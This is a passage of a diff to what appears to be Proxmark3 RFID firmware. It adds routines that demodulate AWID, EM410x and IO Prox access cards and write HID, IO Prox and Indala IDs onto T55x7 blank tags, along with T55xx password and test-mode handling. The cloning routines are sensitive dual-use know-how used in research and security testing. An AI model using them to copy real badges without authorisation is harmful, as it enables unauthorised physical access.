&dummyIdx); + + if (idx <= 0 || size != 96) continue; + // Index map + // 0 10 20 30 40 50 60 + // | | | | | | | + // 01234567 890 1 234 5 678 9 012 3 456 7 890 1 234 5 678 9 012 3 456 7 890 1 234 5 678 9 012 3 - to 96 + // ----------------------------------------------------------------------------- + // 00000001 000 1 110 1 101 1 011 1 101 1 010 0 000 1 000 1 010 0 001 0 110 1 100 0 000 1 000 1 + // premable bbb o bbb o bbw o fff o fff o ffc o ccc o ccc o ccc o ccc o ccc o wxx o xxx o xxx o - to 96 + // |---26 bit---| |-----117----||-------------142-------------| + // b = format bit len, o = odd parity of last 3 bits + // f = facility code, c = card number + // w = wiegand parity + // (26 bit format shown) + + //get raw ID before removing parities + uint32_t rawLo = bytebits_to_byte(dest+idx+64, 32); + uint32_t rawHi = bytebits_to_byte(dest+idx+32, 32); + uint32_t rawHi2 = bytebits_to_byte(dest+idx, 32); + + size = removeParity(dest, idx+8, 4, 1, 88); + if (size != 66) continue; + // ok valid card found! + + // Index map + // 0 10 20 30 40 50 60 + // | | | | | | | + // 01234567 8 90123456 7890123456789012 3 456789012345678901234567890123456 + // ----------------------------------------------------------------------------- + // 00011010 1 01110101 0000000010001110 1 000000000000000000000000000000000 + // bbbbbbbb w ffffffff cccccccccccccccc w xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + // |26 bit| |-117--| |-----142------| + // b = format bit len, o = odd parity of last 3 bits + // f = facility code, c = card number + // w = wiegand parity + // (26 bit format shown) + + uint32_t fc = 0; + uint32_t cardnum = 0; + uint32_t code1 = 0; + uint32_t code2 = 0; + uint8_t fmtLen = bytebits_to_byte(dest, 8); + if (fmtLen == 26){ + fc = bytebits_to_byte(dest+9, 8); + cardnum = bytebits_to_byte(dest+17, 16); + code1 = bytebits_to_byte(dest+8, fmtLen); + Dbprintf("AWID Found - BitLength: %d, FC: %d, Card: %d - Wiegand: %x, Raw: %08x%08x%08x", fmtLen, fc, cardnum, code1, rawHi2, rawHi, rawLo); + } else { + cardnum = bytebits_to_byte(dest+8+(fmtLen-17), 16); + if (fmtLen > 32){ + code1 = bytebits_to_byte(dest+8, fmtLen-32); + code2 = bytebits_to_byte(dest+8+(fmtLen-32), 32); + Dbprintf("AWID Found - BitLength: %d -unknown BitLength- (%d) - Wiegand: %x%08x, Raw: %08x%08x%08x", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo); + } else{ + code1 = bytebits_to_byte(dest+8, fmtLen); + Dbprintf("AWID Found - BitLength: %d -unknown BitLength- (%d) - Wiegand: %x, Raw: %08x%08x%08x", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo); + } + } + if (findone){ + if (ledcontrol) LED_A_OFF(); + *high = rawHi; + *low = rawLo; + break; + } + // reset + idx = 0; + WDT_HIT(); + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + DbpString("Stopped"); + if (ledcontrol) LED_A_OFF(); +} + +void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol) { + uint8_t *dest = BigBuf_get_addr(); + + size_t size = 0, idx = 0; + int clk = 0, invert = 0, errCnt = 0, maxErr = 20; + uint32_t hi = 0; + uint64_t lo = 0; + + BigBuf_Clear_keep_EM(); + + LFSetupFPGAForADC(95, true); + + while(!BUTTON_PRESS() && !usb_poll_validate_length()) { + + WDT_HIT(); + if (ledcontrol) LED_A_ON(); + + DoAcquisition_default(-1, true); + size = BigBuf_max_traceLen(); + //askdemod and manchester decode + if (size > 16385) size = 16385; //big enough to catch 2 sequences of largest format + errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); + WDT_HIT(); + + if (errCnt < 0) continue; + + errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo); + if (errCnt){ + if (size == 128){ + Dbprintf("EM XL TAG ID: %06x%08x%08x - (%05d_%03d_%08d)", + hi, + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } else { + Dbprintf("EM TAG ID: %02x%08x - (%05d_%03d_%08d)", + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } + + if (findone){ + if (ledcontrol) LED_A_OFF(); + *high = hi; + *low = lo; + break; + } + } + WDT_HIT(); + hi = lo = size = idx = 0; + clk = invert = errCnt = 0; + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + DbpString("Stopped"); + if (ledcontrol) LED_A_OFF(); +} + +void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { + + uint8_t *dest = BigBuf_get_addr(); + + int dummyIdx = 0, idx = 0; + uint32_t code = 0, code2 = 0; + uint8_t version = 0, facilitycode = 0, crc = 0; + uint16_t number = 0, calccrc = 0; + + size_t size = BigBuf_max_traceLen(); + + BigBuf_Clear_keep_EM(); + + // Configure to go in 125Khz listen mode + LFSetupFPGAForADC(95, true); + + while (!BUTTON_PRESS() && !usb_poll_validate_length()) { + WDT_HIT(); + if (ledcontrol) LED_A_ON(); + DoAcquisition_default(-1,true); + //fskdemod and get start index + WDT_HIT(); + idx = detectIOProx(dest, &size, &dummyIdx); + if (idx < 0) continue; + //valid tag found + + //Index map + //0 10 20 30 40 50 60 + //| | | | | | | + //01234567 8 90123456 7 89012345 6 78901234 5 67890123 4 56789012 3 45678901 23 + //----------------------------------------------------------------------------- + //00000000 0 11110000 1 facility 1 version* 1 code*one 1 code*two 1 checksum 11 + // + //Checksum: + //00000000 0 11110000 1 11100000 1 00000001 1 00000011 1 10110110 1 01110101 11 + //preamble F0 E0 01 03 B6 75 + // How to calc checksum, + // http://www.proxmark.org/forum/viewtopic.php?id=364&p=6 + // F0 + E0 + 01 + 03 + B6 = 28A + // 28A & FF = 8A + // FF - 8A = 75 + // Checksum: 0x75 + //XSF(version)facility:codeone+codetwo + //Handle the data + // if(findone){ //only print binary if we are doing one + // Dbprintf("%d%d%d%d%d%d%d%d %d",dest[idx], dest[idx+1], dest[idx+2],dest[idx+3],dest[idx+4],dest[idx+5],dest[idx+6],dest[idx+7],dest[idx+8]); + // Dbprintf("%d%d%d%d%d%d%d%d %d",dest[idx+9], dest[idx+10],dest[idx+11],dest[idx+12],dest[idx+13],dest[idx+14],dest[idx+15],dest[idx+16],dest[idx+17]); + // Dbprintf("%d%d%d%d%d%d%d%d %d",dest[idx+18],dest[idx+19],dest[idx+20],dest[idx+21],dest[idx+22],dest[idx+23],dest[idx+24],dest[idx+25],dest[idx+26]); + // Dbprintf("%d%d%d%d%d%d%d%d %d",dest[idx+27],dest[idx+28],dest[idx+29],dest[idx+30],dest[idx+31],dest[idx+32],dest[idx+33],dest[idx+34],dest[idx+35]); + // Dbprintf("%d%d%d%d%d%d%d%d %d",dest[idx+36],dest[idx+37],dest[idx+38],dest[idx+39],dest[idx+40],dest[idx+41],dest[idx+42],dest[idx+43],dest[idx+44]); + // Dbprintf("%d%d%d%d%d%d%d%d %d",dest[idx+45],dest[idx+46],dest[idx+47],dest[idx+48],dest[idx+49],dest[idx+50],dest[idx+51],dest[idx+52],dest[idx+53]); + // Dbprintf("%d%d%d%d%d%d%d%d %d%d",dest[idx+54],dest[idx+55],dest[idx+56],dest[idx+57],dest[idx+58],dest[idx+59],dest[idx+60],dest[idx+61],dest[idx+62],dest[idx+63]); + // } + code = bytebits_to_byte(dest+idx, 32); + code2 = bytebits_to_byte(dest+idx+32, 32); + version = bytebits_to_byte(dest+idx+27, 8); //14,4 + facilitycode = bytebits_to_byte(dest+idx+18, 8); + number = (bytebits_to_byte(dest+idx+36, 8) << 8) | (bytebits_to_byte(dest+idx+45, 8)); //36,9 + + crc = bytebits_to_byte(dest+idx+54, 8); + for (uint8_t i=1; i<6; ++i) + calccrc += bytebits_to_byte(dest+idx+9*i, 8); + calccrc &= 0xff; + calccrc = 0xff - calccrc; + + char *crcStr = (crc == calccrc) ? "ok" : "!crc"; + + Dbprintf("IO Prox XSF(%02d)%02x:%05d (%08x%08x) [%02x %s]", version, facilitycode, number, code, code2, crc, crcStr); + // if we're only looking for one tag + if (findone){ + if (ledcontrol) LED_A_OFF(); + *high = code; + *low = code2; + break; + } + code = code2 = 0; + version = facilitycode = 0; + number = 0; + idx = 0; + + WDT_HIT(); + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + DbpString("Stopped"); + if (ledcontrol) LED_A_OFF(); } /*------------------------------ - * T5555/T5557/T5567 routines + * T5555/T5557/T5567/T5577 routines *------------------------------ - */ - -/* T55x7 configuration register definitions */ -#define T55x7_POR_DELAY 0x00000001 -#define T55x7_ST_TERMINATOR 0x00000008 -#define T55x7_PWD 0x00000010 -#define T55x7_MAXBLOCK_SHIFT 5 -#define T55x7_AOR 0x00000200 -#define T55x7_PSKCF_RF_2 0 -#define T55x7_PSKCF_RF_4 0x00000400 -#define T55x7_PSKCF_RF_8 0x00000800 -#define T55x7_MODULATION_DIRECT 0 -#define T55x7_MODULATION_PSK1 0x00001000 -#define T55x7_MODULATION_PSK2 0x00002000 -#define T55x7_MODULATION_PSK3 0x00003000 -#define T55x7_MODULATION_FSK1 0x00004000 -#define T55x7_MODULATION_FSK2 0x00005000 -#define T55x7_MODULATION_FSK1a 0x00006000 -#define T55x7_MODULATION_FSK2a 0x00007000 -#define T55x7_MODULATION_MANCHESTER 0x00008000 -#define T55x7_MODULATION_BIPHASE 0x00010000 -#define T55x7_BITRATE_RF_8 0 -#define T55x7_BITRATE_RF_16 0x00040000 -#define T55x7_BITRATE_RF_32 0x00080000 -#define T55x7_BITRATE_RF_40 0x000C0000 -#define T55x7_BITRATE_RF_50 0x00100000 -#define T55x7_BITRATE_RF_64 0x00140000 -#define T55x7_BITRATE_RF_100 0x00180000 -#define T55x7_BITRATE_RF_128 0x001C0000 - -/* T5555 (Q5) configuration register definitions */ -#define T5555_ST_TERMINATOR 0x00000001 -#define T5555_MAXBLOCK_SHIFT 0x00000001 -#define T5555_MODULATION_MANCHESTER 0 -#define T5555_MODULATION_PSK1 0x00000010 -#define T5555_MODULATION_PSK2 0x00000020 -#define T5555_MODULATION_PSK3 0x00000030 -#define T5555_MODULATION_FSK1 0x00000040 -#define T5555_MODULATION_FSK2 0x00000050 -#define T5555_MODULATION_BIPHASE 0x00000060 -#define T5555_MODULATION_DIRECT 0x00000070 -#define T5555_INVERT_OUTPUT 0x00000080 -#define T5555_PSK_RF_2 0 -#define T5555_PSK_RF_4 0x00000100 -#define T5555_PSK_RF_8 0x00000200 -#define T5555_USE_PWD 0x00000400 -#define T5555_USE_AOR 0x00000800 -#define T5555_BITRATE_SHIFT 12 -#define T5555_FAST_WRITE 0x00004000 -#define T5555_PAGE_SELECT 0x00008000 - -/* - * Relevant times in microsecond + * NOTE: T55x7/T5555 configuration register definitions moved to protocols.h + * + * Relevant communication times in microsecond * To compensate antenna falling times shorten the write times * and enlarge the gap ones. + * Q5 tags seems to have issues when these values changes. */ -#define START_GAP 250 -#define WRITE_GAP 160 -#define WRITE_0 144 // 192 -#define WRITE_1 400 // 432 for T55x7; 448 for E5550 + +void TurnReadLFOn(uint32_t delay) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + + // measure antenna strength. + //int adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); + + // Give it a bit of time for the resonant antenna to settle. + WaitUS(delay); +} +void TurnReadLF_off(uint32_t delay) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + WaitUS(delay); +} // Write one bit to card -void T55xxWriteBit(int bit) -{ - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - if (bit == 0) - SpinDelayUs(WRITE_0); +void T55xxWriteBit(int bit) { + if (!bit) + TurnReadLFOn(WRITE_0); else - SpinDelayUs(WRITE_1); + TurnReadLFOn(WRITE_1); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelayUs(WRITE_GAP); + WaitUS(WRITE_GAP); +} + +// Send T5577 reset command then read stream (see if we can identify the start of the stream) +void T55xxResetRead(void) { + LED_A_ON(); + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_keep_EM(); + + // Set up FPGA, 125kHz + LFSetupFPGAForADC(95, true); + StartTicks(); + // make sure tag is fully powered up... + WaitMS(5); + + // Trigger T55x7 in mode. + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + WaitUS(START_GAP); + + // reset tag - op code 00 + T55xxWriteBit(0); + T55xxWriteBit(0); + + TurnReadLFOn(READ_GAP); + + // Acquisition + DoPartialAcquisition(0, true, BigBuf_max_traceLen(), 0); + + // Turn the field off + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off + cmd_send(CMD_ACK,0,0,0,0,0); + LED_A_OFF(); } // Write one card block in page 0, no lock -void T55xxWriteBlock(uint32_t Data, uint32_t Block, uint32_t Pwd, uint8_t PwdMode) -{ - unsigned int i; +void T55xxWriteBlockExt(uint32_t Data, uint8_t Block, uint32_t Pwd, uint8_t arg) { + LED_A_ON(); + bool PwdMode = arg & 0x1; + uint8_t Page = (arg & 0x2)>>1; + bool testMode = arg & 0x4; + uint32_t i = 0; - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Give it a bit of time for the resonant antenna to settle. - // And for the tag to fully power up - SpinDelay(150); - - // Now start writting + // Set up FPGA, 125kHz + LFSetupFPGAForADC(95, true); + StartTicks(); + // make sure tag is fully powered up... + WaitMS(5); + // Trigger T55x7 in mode. FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelayUs(START_GAP); + WaitUS(START_GAP); - // Opcode - T55xxWriteBit(1); - T55xxWriteBit(0); //Page 0 - if (PwdMode == 1){ - // Pwd - for (i = 0x80000000; i != 0; i >>= 1) - T55xxWriteBit(Pwd & i); - } - // Lock bit - T55xxWriteBit(0); + if (testMode) Dbprintf("TestMODE"); + // Std Opcode 10 + T55xxWriteBit(testMode ? 0 : 1); + T55xxWriteBit(testMode ? 1 : Page); //Page 0 - // Data - for (i = 0x80000000; i != 0; i >>= 1) - T55xxWriteBit(Data & i); - - // Block - for (i = 0x04; i != 0; i >>= 1) - T55xxWriteBit(Block & i); - - // Now perform write (nominal is 5.6 ms for T55x7 and 18ms for E5550, - // so wait a little more) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - SpinDelay(20); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); -} - -// Read one card block in page 0 -void T55xxReadBlock(uint32_t Block, uint32_t Pwd, uint8_t PwdMode) -{ - uint8_t *dest = (uint8_t *)BigBuf; - int m=0, i=0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - m = sizeof(BigBuf); - // Clear destination buffer before sending the command - memset(dest, 128, m); - // Connect the A/D to the peak-detected low-frequency path. - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); - - LED_D_ON(); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Give it a bit of time for the resonant antenna to settle. - // And for the tag to fully power up - SpinDelay(150); - - // Now start writting - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelayUs(START_GAP); - - // Opcode - T55xxWriteBit(1); - T55xxWriteBit(0); //Page 0 - if (PwdMode == 1){ - // Pwd + if (PwdMode){ + // Send Pwd for (i = 0x80000000; i != 0; i >>= 1) T55xxWriteBit(Pwd & i); } - // Lock bit + // Send Lock bit T55xxWriteBit(0); - // Block + + // Send Data + for (i = 0x80000000; i != 0; i >>= 1) + T55xxWriteBit(Data & i); + + // Send Block number for (i = 0x04; i != 0; i >>= 1) T55xxWriteBit(Block & i); - - // Turn field on to read the response - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Now do the acquisition - i = 0; - for(;;) { - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { - AT91C_BASE_SSC->SSC_THR = 0x43; - } - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - dest[i] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - // we don't care about actual value, only if it's more or less than a - // threshold essentially we capture zero crossings for later analysis - // if(dest[i] < 127) dest[i] = 0; else dest[i] = 1; - i++; - if (i >= m) break; - } + + // Perform write (nominal is 5.6 ms for T55x7 and 18ms for E5550, + // so wait a little more) + + // "there is a clock delay before programming" + // - programming takes ~5.6ms for t5577 ~18ms for E5550 or t5567 + // so we should wait 1 clock + 5.6ms then read response? + // but we need to know we are dealing with t5577 vs t5567 vs e5550 (or q5) marshmellow... + if (testMode) { + //TESTMODE TIMING TESTS: + // <566us does nothing + // 566-568 switches between wiping to 0s and doing nothing + // 5184 wipes and allows 1 block to be programmed. + // indefinite power on wipes and then programs all blocks with bitshifted data sent. + TurnReadLFOn(5184); + + } else { + TurnReadLFOn(20 * 1000); + + //could attempt to do a read to confirm write took + // as the tag should repeat back the new block + // until it is reset, but to confirm it we would + // need to know the current block 0 config mode for + // modulation clock an other details to demod the response... + // response should be (for t55x7) a 0 bit then (ST if on) + // block data written in on repeat until reset. + + //DoPartialAcquisition(20, true, 12000); } - - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - LED_D_OFF(); - DbpString("DONE!"); + + // turn field off + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LED_A_OFF(); } -// Read card traceability data (page 1) -void T55xxReadTrace(void){ - uint8_t *dest = (uint8_t *)BigBuf; - int m=0, i=0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - m = sizeof(BigBuf); - // Clear destination buffer before sending the command - memset(dest, 128, m); - // Connect the A/D to the peak-detected low-frequency path. - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); - - LED_D_ON(); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Give it a bit of time for the resonant antenna to settle. - // And for the tag to fully power up - SpinDelay(150); - - // Now start writting +// Write one card block in page 0, no lock +void T55xxWriteBlock(uint32_t Data, uint8_t Block, uint32_t Pwd, uint8_t arg) { + T55xxWriteBlockExt(Data, Block, Pwd, arg); + cmd_send(CMD_ACK,0,0,0,0,0); +} + +// Read one card block in page [page] +void T55xxReadBlock(uint16_t arg0, uint8_t Block, uint32_t Pwd) { + LED_A_ON(); + bool PwdMode = arg0 & 0x1; + uint8_t Page = (arg0 & 0x2) >> 1; + uint32_t i = 0; + bool RegReadMode = (Block == 0xFF);//regular read mode + + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_keep_EM(); + + //make sure block is at max 7 + Block &= 0x7; + + // Set up FPGA, 125kHz to power up the tag + LFSetupFPGAForADC(95, true); + StartTicks(); + // make sure tag is fully powered up... + WaitMS(5); + // Trigger T55x7 Direct Access Mode with start gap FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelayUs(START_GAP); - - // Opcode + WaitUS(START_GAP); + + // Opcode 1[page] T55xxWriteBit(1); - T55xxWriteBit(1); //Page 1 - - // Turn field on to read the response - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Now do the acquisition - i = 0; - for(;;) { - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { - AT91C_BASE_SSC->SSC_THR = 0x43; - } - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - dest[i] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - i++; - if (i >= m) break; - } + T55xxWriteBit(Page); //Page 0 + + if (PwdMode){ + // Send Pwd + for (i = 0x80000000; i != 0; i >>= 1) + T55xxWriteBit(Pwd & i); } - - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - LED_D_OFF(); - DbpString("DONE!"); + // Send a zero bit separation + T55xxWriteBit(0); + + // Send Block number (if direct access mode) + if (!RegReadMode) + for (i = 0x04; i != 0; i >>= 1) + T55xxWriteBit(Block & i); + + // Turn field on to read the response + // 137*8 seems to get to the start of data pretty well... + // but we want to go past the start and let the repeating data settle in... + TurnReadLFOn(210*8); + + // Acquisition + // Now do the acquisition + DoPartialAcquisition(0, true, 12000, 0); + + // Turn the field off + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off + cmd_send(CMD_ACK,0,0,0,0,0); + LED_A_OFF(); +} + +void T55xxWakeUp(uint32_t Pwd){ + LED_B_ON(); + uint32_t i = 0; + + // Set up FPGA, 125kHz + LFSetupFPGAForADC(95, true); + StartTicks(); + // make sure tag is fully powered up... + WaitMS(5); + + // Trigger T55x7 Direct Access Mode + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + WaitUS(START_GAP); + + // Opcode 10 + T55xxWriteBit(1); + T55xxWriteBit(0); //Page 0 + + // Send Pwd + for (i = 0x80000000; i != 0; i >>= 1) + T55xxWriteBit(Pwd & i); + + // Turn and leave field on to let the begin repeating transmission + TurnReadLFOn(20*1000); } /*-------------- Cloning routines -----------*/ -// Copy HID id to card and setup block 0 config -void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT) -{ - int data1=0, data2=0, data3=0, data4=0, data5=0, data6=0; //up to six blocks for long format - int last_block = 0; - - if (longFMT){ - // Ensure no more than 84 bits supplied - if (hi2>0xFFFFF) { - DbpString("Tags can only have 84 bits."); - return; - } - // Build the 6 data blocks for supplied 84bit ID - last_block = 6; - data1 = 0x1D96A900; // load preamble (1D) & long format identifier (9E manchester encoded) - for (int i=0;i<4;i++) { - if (hi2 & (1<<(19-i))) - data1 |= (1<<(((3-i)*2)+1)); // 1 -> 10 - else - data1 |= (1<<((3-i)*2)); // 0 -> 01 - } - - data2 = 0; - for (int i=0;i<16;i++) { - if (hi2 & (1<<(15-i))) - data2 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data2 |= (1<<((15-i)*2)); // 0 -> 01 - } - - data3 = 0; - for (int i=0;i<16;i++) { - if (hi & (1<<(31-i))) - data3 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data3 |= (1<<((15-i)*2)); // 0 -> 01 - } - - data4 = 0; - for (int i=0;i<16;i++) { - if (hi & (1<<(15-i))) - data4 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data4 |= (1<<((15-i)*2)); // 0 -> 01 - } - - data5 = 0; - for (int i=0;i<16;i++) { - if (lo & (1<<(31-i))) - data5 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data5 |= (1<<((15-i)*2)); // 0 -> 01 - } - - data6 = 0; - for (int i=0;i<16;i++) { - if (lo & (1<<(15-i))) - data6 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data6 |= (1<<((15-i)*2)); // 0 -> 01 - } - } - else { - // Ensure no more than 44 bits supplied - if (hi>0xFFF) { - DbpString("Tags can only have 44 bits."); - return; - } - - // Build the 3 data blocks for supplied 44bit ID - last_block = 3; - - data1 = 0x1D000000; // load preamble - - for (int i=0;i<12;i++) { - if (hi & (1<<(11-i))) - data1 |= (1<<(((11-i)*2)+1)); // 1 -> 10 - else - data1 |= (1<<((11-i)*2)); // 0 -> 01 - } - - data2 = 0; - for (int i=0;i<16;i++) { - if (lo & (1<<(31-i))) - data2 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data2 |= (1<<((15-i)*2)); // 0 -> 01 - } - - data3 = 0; - for (int i=0;i<16;i++) { - if (lo & (1<<(15-i))) - data3 |= (1<<(((15-i)*2)+1)); // 1 -> 10 - else - data3 |= (1<<((15-i)*2)); // 0 -> 01 - } - } - - LED_D_ON(); - // Program the data blocks for supplied ID - // and the block 0 for HID format - T55xxWriteBlock(data1,1,0,0); - T55xxWriteBlock(data2,2,0,0); - T55xxWriteBlock(data3,3,0,0); - - if (longFMT) { // if long format there are 6 blocks - T55xxWriteBlock(data4,4,0,0); - T55xxWriteBlock(data5,5,0,0); - T55xxWriteBlock(data6,6,0,0); - } - - // Config for HID (RF/50, FSK2a, Maxblock=3 for short/6 for long) - T55xxWriteBlock(T55x7_BITRATE_RF_50 | - T55x7_MODULATION_FSK2a | - last_block << T55x7_MAXBLOCK_SHIFT, - 0,0,0); - - LED_D_OFF(); - - DbpString("DONE!"); +void WriteT55xx(uint32_t *blockdata, uint8_t startblock, uint8_t numblocks) { + // write last block first and config block last (if included) + for (uint8_t i = numblocks+startblock; i > startblock; i--) + T55xxWriteBlockExt(blockdata[i-1], i-1, 0, 0); } -void CopyIOtoT55x7(uint32_t hi, uint32_t lo, uint8_t longFMT) -{ - int data1=0, data2=0; //up to six blocks for long format - - data1 = hi; // load preamble - data2 = lo; - - LED_D_ON(); - // Program the data blocks for supplied ID - // and the block 0 for HID format - T55xxWriteBlock(data1,1,0,0); - T55xxWriteBlock(data2,2,0,0); - - //Config Block - T55xxWriteBlock(0x00147040,0,0,0); - LED_D_OFF(); - - DbpString("DONE!"); +// Copy HID id to card and setup block 0 config +void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT) { + uint32_t data[] = {0,0,0,0,0,0,0}; + uint8_t last_block = 0; + + if (longFMT){ + // Ensure no more than 84 bits supplied + if (hi2 > 0xFFFFF) { + DbpString("Tags can only have 84 bits."); + return; + } + // Build the 6 data blocks for supplied 84bit ID + last_block = 6; + // load preamble (1D) & long format identifier (9E manchester encoded) + data[1] = 0x1D96A900 | (manchesterEncode2Bytes((hi2 >> 16) & 0xF) & 0xFF); + // load raw id from hi2, hi, lo to data blocks (manchester encoded) + data[2] = manchesterEncode2Bytes(hi2 & 0xFFFF); + data[3] = manchesterEncode2Bytes(hi >> 16); + data[4] = manchesterEncode2Bytes(hi & 0xFFFF); + data[5] = manchesterEncode2Bytes(lo >> 16); + data[6] = manchesterEncode2Bytes(lo & 0xFFFF); + } else { + // Ensure no more than 44 bits supplied + if (hi > 0xFFF) { + DbpString("Tags can only have 44 bits."); + return; + } + // Build the 3 data blocks for supplied 44bit ID + last_block = 3; + // load preamble + data[1] = 0x1D000000 | (manchesterEncode2Bytes(hi) & 0xFFFFFF); + data[2] = manchesterEncode2Bytes(lo >> 16); + data[3] = manchesterEncode2Bytes(lo & 0xFFFF); + } + // load chip config block + data[0] = T55x7_BITRATE_RF_50 | T55x7_MODULATION_FSK2a | last_block << T55x7_MAXBLOCK_SHIFT; + + //TODO add selection of chip for Q5 or T55x7 + // data[0] = T5555_SET_BITRATE(50) | T5555_MODULATION_FSK2 | T5555_INVERT_OUTPUT | last_block << T5555_MAXBLOCK_SHIFT; + + LED_D_ON(); + WriteT55xx(data, 0, last_block+1); + LED_D_OFF(); +} + +void CopyIOtoT55x7(uint32_t hi, uint32_t lo) { + uint32_t data[] = {T55x7_BITRATE_RF_64 | T55x7_MODULATION_FSK2a | (2 << T55x7_MAXBLOCK_SHIFT), hi, lo}; + //TODO add selection of chip for Q5 or T55x7 + // data[0] = T5555_SET_BITRATE(64) | T5555_MODULATION_FSK2 | T5555_INVERT_OUTPUT | 2 << T5555_MAXBLOCK_SHIFT; + + LED_D_ON(); + // Program the data blocks for supplied ID + // and the block 0 config + WriteT55xx(data, 0, 3); + LED_D_OFF(); +} + +// Clone Indala 64-bit tag by UID to T55x7 +void CopyIndala64toT55x7(uint32_t hi, uint32_t lo) { + //Program the 2 data blocks for supplied 64bit UID + // and the Config for Indala 64 format (RF/32;PSK2 with RF/2;Maxblock=2) + uint32_t data[] = { T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (2 << T55x7_MAXBLOCK_SHIFT), hi, lo}; + //TODO add selection of chip for Q5 or T55x7 + // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK2 | 2 << T5555_MAXBLOCK_SHIFT; + + WriteT55xx(data, 0, 3); + //Alternative config for Indala (Extended mode;RF/32;PSK2 with RF/2;Maxblock=2;Inverse data) + // T5567WriteBlock(0x603E1042,0); +} +// Clone Indala 224-bit tag by UID to T55x7 +void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7) { + //Program the 7 data blocks for supplied 224bit UID + uint32_t data[] = {0, uid1, uid2, uid3, uid4, uid5, uid6, uid7}; + // and the block 0 for Indala224 format + //Config for Indala (RF/32;PSK2 with RF/2;Maxblock=7) + data[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); + //TODO add selection of chip for Q5 or T55x7 + // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK2 | 7 << 